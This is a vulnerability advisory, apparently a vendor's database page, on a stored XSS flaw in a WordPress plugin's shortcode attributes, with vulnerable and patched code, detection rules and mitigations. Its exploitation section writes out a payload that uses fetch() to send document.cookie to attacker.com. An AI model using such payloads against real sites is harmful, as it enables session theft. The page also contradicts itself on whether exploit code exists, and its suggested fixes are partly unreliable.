CVE-2025-8399
Executive Summary
CVE-2025-8399 is a Stored Cross-Site Scripting (XSS) vulnerability in the Mmm Unity Loader WordPress plugin, affecting all versions up to and including 1.0. The flaw resides in insufficient sanitization of the attributes parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user (including administrators) accesses a compromised page, leading to session hijacking, defacement, or data theft. The vulnerability is currently unpatched, and no public exploit code exists, but the attack vector is straightforward for authenticated users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The Mmm Unity Loader plugin is designed to embed Unity WebGL content via shortcodes. The attributes parameter is used to pass HTML attributes to the embed container, but the plugin fails to escape or sanitize user-supplied values, enabling script injection. No Apache or Nginx configuration changes can mitigate this; the fix must come from the plugin developer.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ability for authenticated users to compromise other users (including admins) elevates the risk in multi-author WordPress environments.
Deep Dive & Mechanics
The Mmm Unity Loader plugin registers a shortcode (e.g., [mmm_unity_loader]) that accepts an attributes parameter. This parameter is intended to allow users to add custom HTML attributes (like class, id, or style) to the wrapper <div>. However, the plugin directly outputs the value of attributes into the HTML without proper sanitization or escaping.
Vulnerable Code Flow:
- An authenticated user with Contributor-level access creates or edits a post/page.
- The user inserts the shortcode with a malicious
attributesvalue:[mmm_unity_loader attributes="class='test' onmouseover='alert(1)'"]. - The plugin processes the shortcode and outputs:
<div class='test' onmouseover='alert(1)'>. - When any user (including admins) hovers over the injected element, the JavaScript executes.
The vulnerability is Stored XSS because the malicious shortcode is saved in the WordPress database and rendered on every page load.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.0):
// In mmm-unity-loader.php
function mmm_unity_loader_shortcode($atts) {
$attributes = $atts['attributes'];
return '<div ' . $attributes . '>Unity content</div>';
}
add_shortcode('mmm_unity_loader', 'mmm_unity_loader_shortcode');
Patched Code (hypothetical fix):
function mmm_unity_loader_shortcode($atts) {
$attributes = isset($atts['attributes']) ? $atts['attributes'] : '';
// Sanitize: allow only safe HTML attributes
$allowed = array('class', 'id', 'style');
$safe_attrs = '';
foreach (explode(' ', $attributes) as $attr) {
$parts = explode('=', $attr, 2);
if (in_array($parts[0], $allowed)) {
$safe_attrs .= esc_attr($parts[0]) . '="' . esc_attr($parts[1]) . '" ';
}
}
return '<div ' . $safe_attrs . '>Unity content</div>';
}
Key Difference: The patched version whitelists allowed attributes and uses esc_attr() to escape values, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Mmm Unity Loader plugin v1.0.
- Authenticated session with Contributor-level privileges or higher.
Exploitation Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- In the content editor, insert the shortcode with a malicious
attributesparameter:[mmm_unity_loader attributes="class='xss' onmouseover='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'"] - Publish or save the post.
- When any user (including admins) views the post and hovers over the Unity loader area, the script executes, exfiltrating cookies to the attacker's server.
Alternative Payload (auto-execute):
[mmm_unity_loader attributes="id='xss' onfocus='alert(1)' autofocus"]
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress database for shortcodes containing suspicious
attributesvalues (e.g.,onmouseover,onclick,<script>). - Use WAF rules to block requests with
attributesparameter containing event handlers.
Prevention:
- Disable the plugin until a patch is released.
- Restrict Contributor-level users from using shortcodes via user role plugins.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/mmm-unity-loader/mmm-unity-loader.php(version 1.0) - Database: Posts/pages containing shortcode
[mmm_unity_loader attributes="..."]with event handlers (e.g.,onmouseover,onclick,onfocus). - Network: Outbound HTTP requests to attacker-controlled domains from WordPress server (cookie exfiltration).
- Logs: WordPress audit logs showing shortcode modifications by Contributor-level users.
Detection Engineering
YARA Rule
rule CVE_2025_8399_Mmm_Unity_Loader_XSS {
meta:
description = "Detects malicious shortcode attributes in Mmm Unity Loader plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8399"
strings:
$shortcode = /\[mmm_unity_loader\s+attributes\s*=\s*["'][^"']*(on\w+\s*=|javascript:)/i
$event_handler = /on(mouseover|click|focus|load|error)\s*=\s*["']?[^"']*["']?/i
condition:
$shortcode or $event_handler
}
Sigma Rule
title: CVE-2025-8399 Mmm Unity Loader Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via attributes parameter in Mmm Unity Loader plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "mmm_unity_loader"
http.body|contains|all:
- "attributes="
- "on"
condition: selection
falsepositives:
- Legitimate use of event handlers (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8399 Mmm Unity Loader Stored XSS Attempt"; flow:to_server,established; content:"mmm_unity_loader"; http_uri; pcre:"/attributes\s*=\s*["'][^"']*(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Audit existing content for malicious shortcodes using the YARA rule above.
- Restrict user roles – remove shortcode capabilities from Contributor and Author roles using a plugin like "User Role Editor".
Long-term Fix:
- The plugin developer must release a patched version that sanitizes the
attributesparameter (see patched code example). - Implement a WordPress filter to strip event handlers from shortcode attributes.
Workaround:
- Add the following to
wp-config.phpto disable shortcodes for low-privilege users:if (current_user_can('contributor')) { remove_shortcode('mmm_unity_loader'); }
Valters IT
Securing WordPress Ecosystems One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.